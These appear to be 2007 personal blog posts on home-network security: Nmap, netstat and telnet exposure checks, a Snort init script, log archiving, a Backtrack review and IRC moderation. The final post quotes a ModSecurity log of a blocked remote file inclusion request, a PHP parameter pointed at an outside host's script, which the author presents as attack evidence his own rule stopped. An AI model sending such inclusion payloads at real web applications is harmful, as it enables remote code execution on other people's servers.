Running Nmap against localhost can be deceiving, as the ports that are listening on the machine may not actually available to another machine, on or off the LAN. Note that 127.0.0.1 only pertains to the local machine. This is the loopback address that every machine uses to communicate to itself. I'll compare a localhost scan against a scan that was conducted from another machine on the LAN.

I'll scan localhost first:

-su-2.05b# nmap localhost

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-09-12 17:20 EDT
Interesting ports on localhost.home (127.0.0.1):
Not shown: 1674 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
3306/tcp open mysql
5801/tcp open vnc-http-1
5901/tcp open vnc-1
6001/tcp open X11:1

Nmap finished: 1 IP address (1 host up) scanned in 10.662 seconds

Now, I'll scan the machine's IP from another machine:

root@slackbox:~# nmap 10.150.1.103

Starting Nmap 4.20 ( http://insecure.org ) at 2007-09-12 17:36 EDT
Interesting ports on delly (10.150.1.103):
Not shown: 1693 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
5900/tcp closed vnc
MAC Address: 00:C0:4F:61:28:1F (Dell Computer)

Nmap finished: 1 IP address (1 host up) scanned in 22.277 seconds

Comparing the two scans, some things are readily apparent: port 25/tcp and 5801/tcp, 5901/tcp, and 6001/tcp are listening on the loopback device, yet they aren't listening on IP that is assigned to the machine. Also, note that certain ports are bound to the IP but not the loopback. The more important aspect of these two scans is the services listening on a non-loopback address, because services use IPs to communicate to other machines, not loopback devices.

So, TCP ports 25, 5801, 5901, and 6001 appear to be open. We can test this. Remember, we're concerned about whether these ports can be seen as open to the internet. We'll test this by using telnet. Below, I'm logged into another machine and attempting to telnet on port 25 to the machine we Nmap'd on localhost:

root@slackbox:~# telnet 10.150.1.103 25
Trying 10.150.1.103...
telnet: connect to address 10.150.1.103: Connection timed out

The connection timed out. It is pretty evident that the machine doesn't have services on 10.150.1.103:25 that just anyone can reach.

We can also test by running 'netstat -an' on the machine. Whle netstat doesn't connect to the port in question, it does indicate what interface services are using:

-su-2.05b# netstat -an | grep -i listen
tcp4 0 0 *.5801 *.* LISTEN
tcp4 0 0 *.5901 *.* LISTEN
tcp4 0 0 *.6001 *.* LISTEN
tcp4 0 0 *.3306 *.* LISTEN
tcp4 0 0 10.150.1.103.8118 *.* LISTEN
tcp4 0 0 10.150.1.103.80 *.* LISTEN
tcp4 0 0 127.0.0.1.25 *.* LISTEN
tcp4 0 0 *.22 *.* LISTEN
tcp6 0 0 *.22 *.* LISTEN

See port 25? What IP address is assigned to the service? Loopback! This means that this service isn't exposed to any other machine on the LAN or internet. The other services are listening (for example, *.22) but the '*' usually means that the service is assigned to an interface (which may have a number of IPs assigned to it). Ports 80 and 8118 have an IP assigned to the service, instead of '*'. This means that only IP 10.150.1.103 is assigned to that interface. Ports 80 and 8118 also do not show up when scanning localhost, but yet I can telnet to port 80 and 8118 when using the telnet command (and also browser), using 'telnet localhost 80' or 'telnet localhost 8118'. Port 80 is a web server. Port 8118 is a Privoxy proxy. The reason is probably because my PF install on that machine filters some loopback traffic. If I scan the IP of the machine, port 80 is then detected. The reason is because PF is configured to allow port 80 traffic to/from 'slackbox' from/to 10.150.1.103.

All of this is very elaborate. Everything has to be taken into consideration: what the firewall does/doesn't allow; what services run on 127.0.0.x; what services run on interfaces; what services run on IP addresses.

The last thing we'll do is scan the LAN from the internet. The results will be determined by what ports the gateway router/firewall are forwarding to machines within the LAN. For example, I know I've port 22/tcp open to the world because I've told my gateway firewall to forward any traffic on 22/tcp to 10.150.1.103. I also don't allow much else and also allow some traffic to be forwarded to different machines within the LAN. So, when a scan is being conducted from the outside, the whole LAN's security posture is taken into account. Now, let us scan from the internet:

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on pool-xx-xxx-xx-xx.washdc.fios.verizon.net (xx.xxx.xx.xxx):
(The 1599 ports scanned but not shown below are in state: filtered)
Port State Service
22/tcp open ssh
3306/tcp open mysql

NICE! Of all the scans we've conducted thus far, this is the one that is important. The other scans paint the smaller picture, but this one puts it all together and is THE security assessment that one wants to conduct. So, you can see, ports 22 and 3306 are open to the world. This could be two different machines that need those ports open to the internet, or this could be one machine that has those two ports open to the world wide web. Note that while I can reach those ports, my firewall is configured to allow communication from the machine I scanned from. If a machine, from Google.com or any other IP/domain that is not accounted for within the FW policy, attempted the same thing, those ports wouldn't show as opened, as the firewall would drop the traffic. So, while the two ports appear to be open to the world in the above results, they actually aren't, as the traffic is being filtered.

I hope all of this has helped some in understanding security and how to assess your LAN gateway and hosts within the LAN. We've used Nmap, telnet, and netstat to determine the security posture of a given machine. There are other tools that I didn't mention for brevity, (such as socklist, tcpdump, snort, for example) but Unix and Linux machines offer much in the way of testing security of a machine.

`

Archiving Logs

I've logs that I gather and put into a directory named /home/status. There's a script that runs commands and directs the output to files within this directory. The script runs every hour of every day. The output is dumped into a directory akin to "070101/", which means 2007-01-01. Each directory would have 24 files. I periodically archive these (by year) into tar.gz files.

Here's how the directory looks:

root@starchild:/home/status/070101# ls
070101.00.starchild.txt 070101.04.starchild.txt 070101.08.starchild.txt 070101.12.starchild.txt 070101.16.starchild.txt 070101.20.starchild.txt
070101.01.starchild.txt 070101.05.starchild.txt 070101.09.starchild.txt 070101.13.starchild.txt 070101.17.starchild.txt 070101.21.starchild.txt
070101.02.starchild.txt 070101.06.starchild.txt 070101.10.starchild.txt 070101.14.starchild.txt 070101.18.starchild.txt 070101.22.starchild.txt
070101.03.starchild.txt 070101.07.starchild.txt 070101.11.starchild.txt 070101.15.starchild.txt 070101.19.starchild.txt 070101.23.starchild.txt
root@starchild:/home/status/070101#

Here are the archives I currently have:

root@starchild:/home/status# du -h sensorstat_logs-200*
748k sensorstat_logs-2005.tar.bz2
3.5M sensorstat_logs-2006.tar.bz2
7.3M sensorstat_logs-2007.tar.gz
root@starchild:/home/status#

This is a listing of the month of January (unarchived):

root@starchild:/home/status# ls -l | grep 0701
drwxr-xr-x 2 root root 4096 Jan 1 2007 070101/
drwxr-xr-x 2 root root 4096 Jan 2 2007 070102/
drwxr-xr-x 2 root root 4096 Jan 3 2007 070103/
drwxr-xr-x 2 root root 4096 Jan 4 2007 070104/
drwxr-xr-x 2 root root 4096 Jan 5 2007 070105/
drwxr-xr-x 2 root root 4096 Jan 6 2007 070106/
drwxr-xr-x 2 root root 4096 Jan 7 2007 070107/
drwxr-xr-x 2 root root 4096 Jan 8 2007 070108/
drwxr-xr-x 2 root root 4096 Jan 9 2007 070109/
drwxr-xr-x 2 root root 4096 Jan 10 2007 070110/
drwxr-xr-x 2 root root 4096 Jan 11 2007 070111/
drwxr-xr-x 2 root root 4096 Jan 12 2007 070112/
drwxr-xr-x 2 root root 4096 Jan 13 2007 070113/
drwxr-xr-x 2 root root 4096 Jan 14 2007 070114/
drwxr-xr-x 2 root root 4096 Jan 15 2007 070115/
drwxr-xr-x 2 root root 4096 Jan 16 2007 070116/
drwxr-xr-x 2 root root 4096 Jan 17 2007 070117/
drwxr-xr-x 2 root root 4096 Jan 18 2007 070118/
drwxr-xr-x 2 root root 4096 Jan 19 2007 070119/
drwxr-xr-x 2 root root 4096 Jan 20 2007 070120/
drwxr-xr-x 2 root root 4096 Jan 21 2007 070121/
drwxr-xr-x 2 root root 4096 Jan 22 2007 070122/
drwxr-xr-x 2 root root 4096 Jan 23 2007 070123/
drwxr-xr-x 2 root root 4096 Jan 24 2007 070124/
drwxr-xr-x 2 root root 4096 Jan 25 2007 070125/
drwxr-xr-x 2 root root 4096 Jan 26 2007 070126/
drwxr-xr-x 2 root root 4096 Jan 27 2007 070127/
drwxr-xr-x 2 root root 4096 Jan 28 2007 070128/
drwxr-xr-x 2 root root 4096 Jan 29 2007 070129/
drwxr-xr-x 2 root root 4096 Jan 30 2007 070130/
drwxr-xr-x 2 root root 4096 Jan 31 2007 070131/

The command I use to archive the directories within /home/status is:

tar cvjfp sensorstat_logs-2007.tar.gz .

c - creates the archive
v - verbose output once the command is run (this isn't needed, but I like to see what the command is doing.
j - compresses archive
f - uses a file name
p - preserves permissions of files within archive


The "." at the end of the command directs the command to archive everything within the current directory.

Once the files are archived, I can get rid of them using the 'rm' command to free up some space.

I thought all of this would be cool to share...

Posted: Snort init script

Here it is!

#!/bin/sh
# Start/stop/restart snort.

# 8/30/2007 - The snort_restart function wasn't working, but an investigation ferretted out the problem: the "sleep" parameter was adjusted from "1" to "5" to give the process time to stop before starting the snort process again.

# Start snort:
snort_start() {
if [ -x /usr/local/bin/snort ]; then
echo "Starting snort daemon: /usr/local/bin/snort -devXz -c /home/snort/snort-2.6.1.1/snort.conf -i eth0"
/usr/local/bin/snort -devXz -c /home/snort/snort-2.6.1.1/snort.conf -i eth0 -D
fi
}

# Stop snort:
snort_stop() {
echo "Stopping snort daemon"
killall snort
}

# Restart snort:
snort_restart() {
snort_stop
sleep 5
snort_start
}

case "$1" in
'start')
snort_start
;;
'stop')
snort_stop
;;
'restart')
snort_restart
;;
*)
echo "usage $0 start|stop|restart"
esac

Snort Died...

It died after the creation of the new script...

The only thing I can find is the following:

Aug 27 22:34:38 starchild snort[5941]: Snort exiting

This SUCKS!

I've restarted it but I now lack visibility for the past 12+ hours. I'll watch the logs closely tonight and maybe direct any errors to a logfile.

Edited 8/30/2007:

I think I've fixed the issue (for real, this time).

There is an part of the script that would choke upon itself...the restart function:

# Restart snort:
snort_restart() {
snort_stop
sleep 5
snort_start
}

I had to change the sleep statement from "1" to "5". I believe that the script chokes because it takes a few seconds to stop the snort process. One second isn't enough time, it seems. The script was stopping the process and immediately restarting it after one second. One second after the kill command runs, the snort process is still trying to stop when the script starts the snort_start function. I've tested this by adjusting the sleep statement and running the "rc.snort restart" command...I got successful results. We'll now wait to see if the cron job croaks again (tonight).

Sophos Vulns

I saw this at an internal website (internal to my work):

Two vulnerabilities in Sophos’ anti-virus software for Microsoft Windows and Unix/Linux, will allow an attacker to remotely inject arbitrary code and also produce a Denial of Service (DoS) attack. Any version prior to 2.48.0 is affected. Please follow the links below for remediation.
http://www.heise-security.co.uk/news/94954
http://www.frsirt.com/english/advisories/2007/2972
http://www.sophos.com/support/knowledgebase/article/28407.html

This reminds me that the FAA is running Sophos AV clients on both their Windows and *nix IDSs...its stupid to even run AV on a machine that is dedicated to IDS, but I thought about them nonetheless...heh.

Edited on 8/28/2007:

I wanted to elaborate on my comments.

There's are several reasons why you shouldn't run AV on security devices:

1. The AV solution may have zero-day vulnerabilities. Sure, you can block off all attempts against the management interface of the IDS device, but why even set yourself up to a possible compromise of a critical piece of architecture?

2. AV (and firewall...yes, both installed on an IDS in the FAA's case...I'm not BSing) solutions usually demand quite a bit of system resources. IDSs usually demand major system resources also. The two will eventually bump heads, unless the IDS is seeing no traffic (which, IMO, means that the IDS is worthless or may need its sniffing interface to be placed at a more critical location).

3. Just because NIST recommends a certain security posture doesn't mean that their recommendations should be applied blindly (yes, I'm talking about the FAA). I'm also aware that the Department of Transporation (which FAA falls under) demands this ridiculous requirement. Managers should question anything that isn't apparent in guidelines from higher headquarters...to not do so is to admit that you are a follower and not a 'do-er'.

I say these comments because I worked with the FAA for awhile and certainly didn't like their way of thinking, but I worked there (as a contractor, which didn't help my situation much) and just took what was dished to me. After several years of wondering if I should've voiced my opinion more strongly before leaving their organization, I'd have maybe actually taught their management and DOT's management some things about REAL security and how their security professionals SHOULD operate. All I can say now is that I now know (and experienced) what NOT to do, especially as a security professional.

Bud, if you're reading this, know that I'm in a far better place and while I wish my friends still working there well, I do know that I will never ever be the type of person that put up with sub-par management and sub-par decision-making. I'm certainly working in a better place, but I'd like to thank you for making me a better person...you did make me better at knowing idiots when I see them. IDSs and firewalls on IDS devices...hahahaha!

Revamped rc.snort on my server

Hi all!

First, I've redone my rc.snort file. I looked at the existing rc files in /etc/rc.d/ and looked at rc.sendmail specifically. It looked very simple compared to the rc.snort I did awhile back. Remember when I mentioned that I did two of them, one for Slackware 9.0 and one for OpenBSD 3.8, with the OpenBSD one working fine but the Slackware one not working 100%? Well, instead of basing the Slackware rc.snort from Slackbuilds' thttpd rc script, I went ahead and did the following:

1. I changed the name of the existing rc.snort to rc.snort.original using the 'mv' command.

2. I executed the following: cp rc.sendmail rc.snort

3. I edited rc.snort with VIM, replacing all mentioning of sendmail with snort, also including the path of snort.

4. I then tested by manually starting, stopping and restarting a running snort process. I found that the script was choking because I forgot to add the '-D' switch to the script. I fixed this and tested successfully.

5. I lastly set a cronjob to run 5 min in the future to test that the cronjob would function using the new script. It worked!

I should've done the above AGES ago. Now I get to wait a few days to see if the cronjob fails because I haven't accounted for something else...that's what happened last time. I think I'm not going to have issues this time, though.

I'll link the revised rc.snort script a bit later.

I've also built two netcat Slackware packages, using Checkinstall. I built one for my 9.0 server and one for my v12.0 workstation. Everytime I build a package, I'll be adding it to my slackpack repository, which will have v9.0 and v12.0 directories. I've added it because I didn't find a slackpack of netcat hosted anywhere else. I've the feeling that people may want the version for 12.0. I don't think many people are using v9.0 anymore.

You are probably wondering why I'm using v9.0. Because that's what my hosting provider offers. I try to keep it up-to-date but I've noticed that Pat isn't upgrading packages that far back anymore. This means I'll have to build my own upgrade packages. This also means I'll have to be very attentive to security (like I'm not already). Additionally, this will soon force me to either upgrade to v12.0 (Linode has several howtos) or jump to another distribution for simplicity-sake. :(

Anyways, I just wanted to post since I've been doing some work with Slack.

Until next time...

Latest Happenings...

Hey all...it's been awhile.

What's been happening? I've upgraded my Slackware machine to v12.0, wiping my partitions and doing a fresh install. Why? I'd been upgrading my Slack install since v10.0 and the install was becoming rather stagnant, so I backed up the important things and did a reinstall with little issues. I'm not quite done setting things up yet (like grabbing the latest graphics drivers (Nvidia) and testing compiz). I'm quite happy with v12.0, although I've got my work cut out for me concerning learning the differences between this version and the last...I know there were some rather substantial changes, from what I've heard.

What else have I been doing? Devlving in FreeBSD and OpenBSD a bit more. I've converted my FreeBSD machine's firewall from ipf to pf. The .conf files use similar syntax but the command structure is quite different, along with the number of functions that pf can perform. pf appears quite a bit more robust than ipf...ipf appears to be a minor reflection of pf. I'm definitely learning things, but the machine that pf is running on only serves SSH connections, but that's quit enough for me at this point in time.

I've also decided to reflash my Linksys router to an opensource firmware called Tomato. It runs on the WRT54G/GS, some Buffalo, and Broadcom-based routers. It appears very robust and easy to set up. It is also easy to revert back to the original firmware. I recommend giving this one a shot. It is not meant to be something akin to OpenWRT or similar...it's designed to be and stay light and fast, which it is, but is also has plugins for functionality that may be mandatory for the above-average hacker.

I've also just returned from vacation in California. I think I may end up buying a home there, near the San Diego area, as that place is so much different than where I'm at now, plus we'll be close to relatives and nice vacation sites. I just have to start conducting employment research so I can see what that area can offer me, employment-wise. It may mean me going to a different part of the IT arena (sysadmin or something similar). I don't mind changing my job a bit, as long as I stay in some type of management position.

What projects do I have or plan on conducting? I intend to clean up my office and turning off some hardware or consolidating some server duties, because my office looks like a rat's nest. It's partly because there are no power outlets in my office (!!). Yeah, I'm renting and the prior owners finished the basement but appeared to be in such a rush that they neglected to put the power outlets back in place. I think I can do one (maybe with my father's help)...one may be enough. Right now, I've a beefy power cord running from the storage area to my office space...everything is attached to that one strip (yeah, a bit dangerous, but I spend a bit of money on beefy surge protection).

Well, I think this post more than makes up for the last few weeks/months of non-activity. I shall try to be more vigilant in posting in the future (famous last words).

Snort init script still not working...

Yeah, I thought I'd nailed this, but there is still an issue with my Slackware machine's Snort startup/shutdown script. For some reason, it'll start fine, will not shut down cleanly and will error out. The script will not start on its own and requires manual intervention (dunno why). I'll have to add some debugging code to it so that I can track the issue. It must be some flag that I'm using when implementing 'ps', because that's the only difference between the two scripts (the OpenBSD and Slackware).

I wish I had more time (and willpower) to give this the attention that it needs. I can always visit the Snort mailing list and post my concerns, but I'd like to be able to nail this one myself. :)

Vrtservers.net - Malicious IP scanning

IP 64.56.65.150, an IP that belongs to Vrtservers.net, has been very active lately. The machine has been compromised twice in 30 days and does a multitude of scans. Last month I reported this IP to isc.sans.org and the machine was eventually taken offline (after waiting over two weeks). I reported it again this weekend when I noticed the IP was scanning against port 80 on my public server.

I've attempted to do some digging via Google but have found nothing solid, other than finding people's web stats highlighting this IP. This post's intention is to let people know that this IP has a history of being compromised.

Putting the IP into web-sniffer.net shows the following:

**I'll capture a screenshot when I can, as the Blogger console attempts to render the data as HTML**

That's not good. Using Links (a text-based browser that is good to use
when you're afraid to visit a webpage with IE or Firefox), the .txt files
appear to be IPs that are being harvested for further exploitation.

I'm thinking of reporting this IP to the US-CERT, since SANS isn't being
proactive.

I Created some scripts for Snort

I've created (well, modified) a Snort initialization, restart, and shutdown script for Slackware and OpenBSD. They are linked below.

The OpenBSD script works solidly.

The Slackware script works sporadically and I've no idea how to debug it (although I haven't tried 'strace' yet). It appears to work manually every time, but when run as a cron job, it's sometimes, seemingly randomly, doesn't restart. The cron job runs every hours but because it sometimes doesn't start, I now have holes in my website's IDS coverage.

Note that I didn't HAVE to create start/stop scripts for Snort, as I could've started Snort by utilizing the rc.local file, but I'd have still had to manually kill the Snort process whenever I wanted to stop Snort. Having an init script do this is much cleaner.

The fact that I've gotten it working on the OpenBSD machine hints that I've a minor issue with the Slackware script that I have yet to account for, but its frustrating me, so I'll throw it online to see if someone can help with debugging. Yeah, I'd searched for help via Google but didn't see much of Snort init scripts for Slackware (although I may find something if I look at any scripts for other distributions).

I also got Snortalog to process my Snort raw logs into a statistical report, although I had to import 6.2MB of flat files to my FreeBSD box (which Snortalog is installed on), then have Snortalog crunch that data into a HUGE (3.9MB) HTML file! Needless to say, that HTML file takes almost 5 minutes to load into a browser. I've got to filter the logs and only have it crunch certain dates to make the file less bulky.

Snortalog definitely highlights that I could do some tuning, as it shows a very high amount of MS-SQL worm attempts (MS Blaster) hitting my server, amongst other things. This is a good tool that I'd previously used (and had forgotten) at a prior place of employment. It would be nice if I could figure out how to get it to crunch my IPF FW logs.

Another oldie but goddie is SnortSnarf. It is a perl script, as is Snortalog, that parses Snort files (the alert file and the payload files) into readable HTML pages, which is a bit better at searching via command-line. It is not as handy as ACID/BASE is, though, but has lower overhead. Sadly, SnortSnarf's home page is gone, but I've linked Snort.org's archive.

EDIT --

I've found my 'error'. What happened was that I had line 34 commented out and line 35 uncommented. Line 35 is specifically for usage with OpenBSD. Line 34 is specifically for Slackware. I rectified this by uncommenting line 34 and commenting line 35. I'll also put commentary explaining this. Consider this issue solved!

Edited 8/30/2007:

Revised Script that works! *yes, click here*

Power outage

The other day, I awoke to find most of my machines had rebooted, although not all did. This indicates a brown-out or power flux. I had to intervene because the machines didn't come up cleanly, as some hung at the BIOS checks.

I've fixed one...it wasn't detecting the DVD burner and I don't know why. The other is an old box that has an intrusion detection feature that continues to tell me that the case was recently opened.

Lastly, my Slackware box would NOT boot cleanly, as somehow the filesystem got borked. I had to manually check the filesystem and repair it before it would boot cleanly...this took a few days. Until then, this box was officially down.

I think it's time to invest in a UPS.

Pidgin and Slackware relationship ended

http://www.linuxquestions.org/questions/showthread.php?t=553262

Total B.S. A good read, especially if you're a Slacker! I'm backing Pat totally on this one.

Backtrack v2.0

I'd recently wiped my installation of Slackware 10.2 from my Toshiba Satellite 1805-S274 in favor of a security-oriented live distro that I could install onto the laptop's drive. I opted for Hakin9, a distro based on Aurox.

Hakin9 is now based on Aurox v12.0, which is based on FC5. It was nice but I ran into issues. My first issue was that I used an older version that was included in an old issue of Hakin9 magazine. I checked their latest magazine and it was apparent that they'd been using an OLD version of Aurox when building their distro. I got a more recent version and it installed successfully. While testing Aurox (I believe v12), it was apparent that the setup would run optimally on a recent laptop, while it was overheating mine. I didn't feel like delving internally into the settings and downloading packages that would enable me to use Fluxbox instead of KDE, so I decided to try another distro.

My next choice was Backtrack v2.0. I was very impressed with the live CD, so I took the next step of installing to hard disk. The install was MUCH quicker than Hakin9. I'm also partial to Slackware and Backtrack is Slax-based. Backtrack is a merge of the Whax and Auditor security/penetration-testing distributions.

My only issue with Backtrack is the fact that there's no software repository for updating all the security tools. Slackware has third-party package management that can be used in Slax and Backtrack, but my thoughts are that when updating Nessus, for instance, the dependencies that were originally installed may need to also be updated, which is fine, but which could be a bit tedious. The install of Backtrack was quick enough to where I could just manually upgrade what I need upgraded then reinstall the distro when new versions are released.

This distribution is solid!

The beast is built and running!

I finished building the new system last week (Thursday). I ran into a few issues:

1. The mainboard was apparently dead out-of-the-box, as none of the IDE channels appeared to work. I tried various configurations and various drives that were confirmed as working. I was unable to get anything to work, yet I could boot a Linux Live CD.

2. The power cables on the power supply had weird endings that initially looked like they wouldn't fit on the motherboard's sockets. I then looked closely and found that the cable sockets could be split (at least the 24-pin and 8-pin could).

3. I've been trying to determine what to put on this beast as an OS. Right now I have WinXP so that I could evaluate the high-end games that I have (BF 2142 and such) and would love to be able to run an OS that will detect and utilize both of the CPU's cores. [Note: WinXP Pro does this, and I'm also using that version.]

The case is very nice and has a see-through side. The hardware runs really good. I bumped up the eye-candy in BF 2142 so I could get a decent evaluation of how hot the CPU would get (I haven't even tried to see how many framerates per second the vidcard may do. Idle, I get around 40-45F. During gaming with eye-candy maxxed out (in BF 2142), I get 54F max. This isn't bad but I've heard of people getting even lower temps than 54F. This tells me that I may need a few case fans (I've none, so far) and maybe need to hide cabling. I've a very thin coating of Arctic Silver on the CPU, and I'm sure that's helping. What I haven't done is check to see if anyone has posted temps using the same CPU and case. I'll search for that info soon.

I'm very happy with the set up and will most likely mess with RAID next (I'll require another hard disk), after getting more case fans and possibly more RAM.

System Components

Three system components are shipped so far:

Ultra XBlaster Clear Side Blk Mid-Tower Case
Ultra 500W X-Finity Power Supply 120mm Fan
Ultra 1024MB PC4200 DDR2 533MHz

The real worry was the RAM, as it was listed as out-of-stock after I made the purchase. Hopefully, the 6 other components will be shipped on Monday.

I've about $120 in rebate paperwork to complete and one of them must be postmarked by tomorrow at midnight...dunno how that's gonna happen on a Sunday.

Anyways, I'm very excited about this computer's potential and can't wait to get everything assembled and working.

I'll keep you all informed as the days go by.

Ordered a new system last night

Since its been awhile since I've built a new machine and since I wanted a taste of 64-bit and dual core technology, I purchased this last night:

ECS nForce 570 SLIT-A v5.1 Socket 775 Barebone Kit / Intel Pentium D 830 OEM / 250GB SATA HDD / 18x DVD±RW DL / 1GB DDR2 PC4200 / CPU Fan / ATX Mid-Tower Case / 500 Watt Power Supply

Additionally, I bought an EVGA GeForce 7300 GT video card with 512MB PCIe, DVI, and HDTV, since the new system will require a PCIe video card, which I don't have.

I think I've accounted for everything when buying this system, hardware-wise. I'll utilize a KVM, so I won't need another keyboard/mouse for it.

Software-wise, I'll most likely be putting some form of Windows on this system. This system will be using newer technology that *nix may or may not fully support and my troubleshooting time is limited. So, I guess I'm in the market for a 64-bit OS. I don't trust Vista yet, so I'll see about getting the 64-bit version of Windows XP Professional.

This WILL be a gaming rig, but I'd also like to try my hand at 64-bit Linux when I've a bit more free time available, so eventually, it may turn into a dual-boot system. What flavor of Linux? Something that won't take long to get running and will be low maintenance, so it won't be Slackware-based, most likely, unless Zenwalk or something similar supports 64-bit Intel dual core CPUs. Hopefully Pat can look into either factoring in 64-bit support in Slackware or sanctioning and supporting Slamd64 in a way that will make it easier to use.

So, I guess I've a 1 to 3 week wait for all these parts to come in, so I can build this system. The case and power supply are on the way now, but the other parts are still in the queue with no update, with the exception of the RAM, which is on back order. Hopefully, they'll get 'un-backlogged' soon.

Did some ##slackware log archiving...

Yeah, I had to do some archiving of the logs, as diskspace usage was at 96%. I didn't just archive the channel logs, but also archived my snort and web logs. About the only thing I haven't archived yet are the modsecurity logs (will do that sometime this weekend). Currently, the host's drive space is currently at 74%. The channel logs are still in place, but I've crunched the logs into monthly tar.bz2 files. This renders the logs unsearchable by google (yeah, this sucks), but I had to compromise...they are still downloadable, just not searchable. So, if you need them, they are there for download. Once you download them, you can grep each tar.bz2 after uncompressing them. Hopefully, Google still has the logs cached so that a person searching for an item can still see the cached files. Maybe I'll purchase more drive space so that I can host the logs in an untarred and uncompressed format in the near future.

Speaking of the channel, there has again been some ruckus about someone being banned 'unduly'. People have to recognize that moderating a channel does come at a price. One of these prices is the fact that people can't visit their frustrations on the channel. An individual visited the channel highly upset that Pat froze Slackware-current relating to issues with both the 2.4 and 2.6 kernel. Instead of following advice to follow up with Pat, he continues to vent on the channel, causing a rather heated flame war over something trivial. He was +q'd (meaning his speech was removed), but he evaded +q. He was then "removed" (meaning he was booted, not kicked, from the channel), but came back in the channel with the same attitude. He was then banned for 30 days. Anyone who evades moderation will automatically get a ban. Why 30 and not 7 days? Because, behind the scenes, in private message, the individual was very argumentive and I didn't feel like dealing with him 2 days later for the same offense. After reading the logs, someone had the gall to mention in the channel that the ban was unwarranted...this person thought that the individual was banned because of his views...WRONG. Read the channel guidelines. It states specifically that any +q/ban evasion will be dealt with in a rather harsh manner. Many people do not realize that the ops will never be able to please every single person's views in the channel. I've been doing this a LONG time (4+ years) and no matter if I just sit there and let the channel run itself or if I step in and boot someone, someone ALWAYS complains. It's a no-brainer for me: moderation is what it is. You can take it or leave it. There aren't too many channels on Freenode that aren't moderated. By nature, moderation pretty much means you can't state everything you feel, especially when it ruins the continuity of the channel chat. Is this an oxymoron, especially since Freenode is inhabited mostly by coders and free-thinkers? Every discussion, whether its in real-life in a conference or in someone's home or online on a forum or in a chat room/channel, will have some type of moderation. So, going forward, I'll not be including comments to the ban messages, as this adds confusion to why the person was banned. Really, the channel doesn't need to know why said person was banned after the fact. The ban messages are for the person being banned and it was designed that way by the people who set up the IRC specifications. If you want to know why someone was banned, speak with them directly or read the logs. I've no time to hold some lengthly dialog with someone who thinks that everyone should join an IRC channel and unload their frustrations. I try to think as objectively as possible on anything that goes on in the channel and to be quite honest, there's been a ton of bitching about the ops lately. When I see the non-ops quit pushing the ops' buttons, I'll take them more seriously and get more active in seeing to their needs...but the bellyaching has to stop first. Seriously, its usually the same people bitching about their rights being violated, and if its not the same people, there's usually some association.

I saw someone hammering my web server

I saw someone hammering my web server today and yesterday. He/she generated 196 Snort alerts, which is quite a bit for my server. The cool thing is, there was negative response to the attack for two reasons:

1. The server doesn't use PHP or CGI and the attack was designed to exploit those two software packages.

2. I use ModSecurity, which is a web server application firewall.

See payload below (ModSecurity):

Request: midas.slackware.lan 198.145.244.232 - - [15/Jan/2007:21:04:18 -0500] "GET /calendar/index.php?inc_dir=http://200.75.9.114/C.php?&/ HTTP/1.1" 403 304 "-" "Morfeus Fucking Scanner" RawyokKgjR4AAFL7qwU "-"
----------------------------------------
GET /calendar/index.php?inc_dir=http://200.75.9.114/C.php?&/ HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: Close
Host: 66.160.141.30
User-Agent: Morfeus Fucking Scanner
mod_security-message: Access denied with code 403. Pattern match "index.php" at REQUEST_URI [id "1005"][rev
"2"] [msg "index.php usage, suspicious activity"] [severity "ALERT"]
mod_security-action: 403

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

The activity triggered a rule I created (yeah, ModSecurity is rule-based). I know I don't use PHP but I'd still like to see such attacks on my network, as a heads-up to escalated attacks. What I don't have is a reactive firewall, one that blocks traffic such as this automatically. I had to add the IP to my block list by hand, which sucks.

ModSecurity also has a web-based console that I haven't figured out how to use yet, so I usually parse the flat logs manually then correlate any malicious traffic with my firewall and Snort logs to get a better picture of questionable activity. Once I figure out how to get the web-based console up and running, I'll let you know and maybe throw together a how-to for how to utilize ModSecurity on Slackware.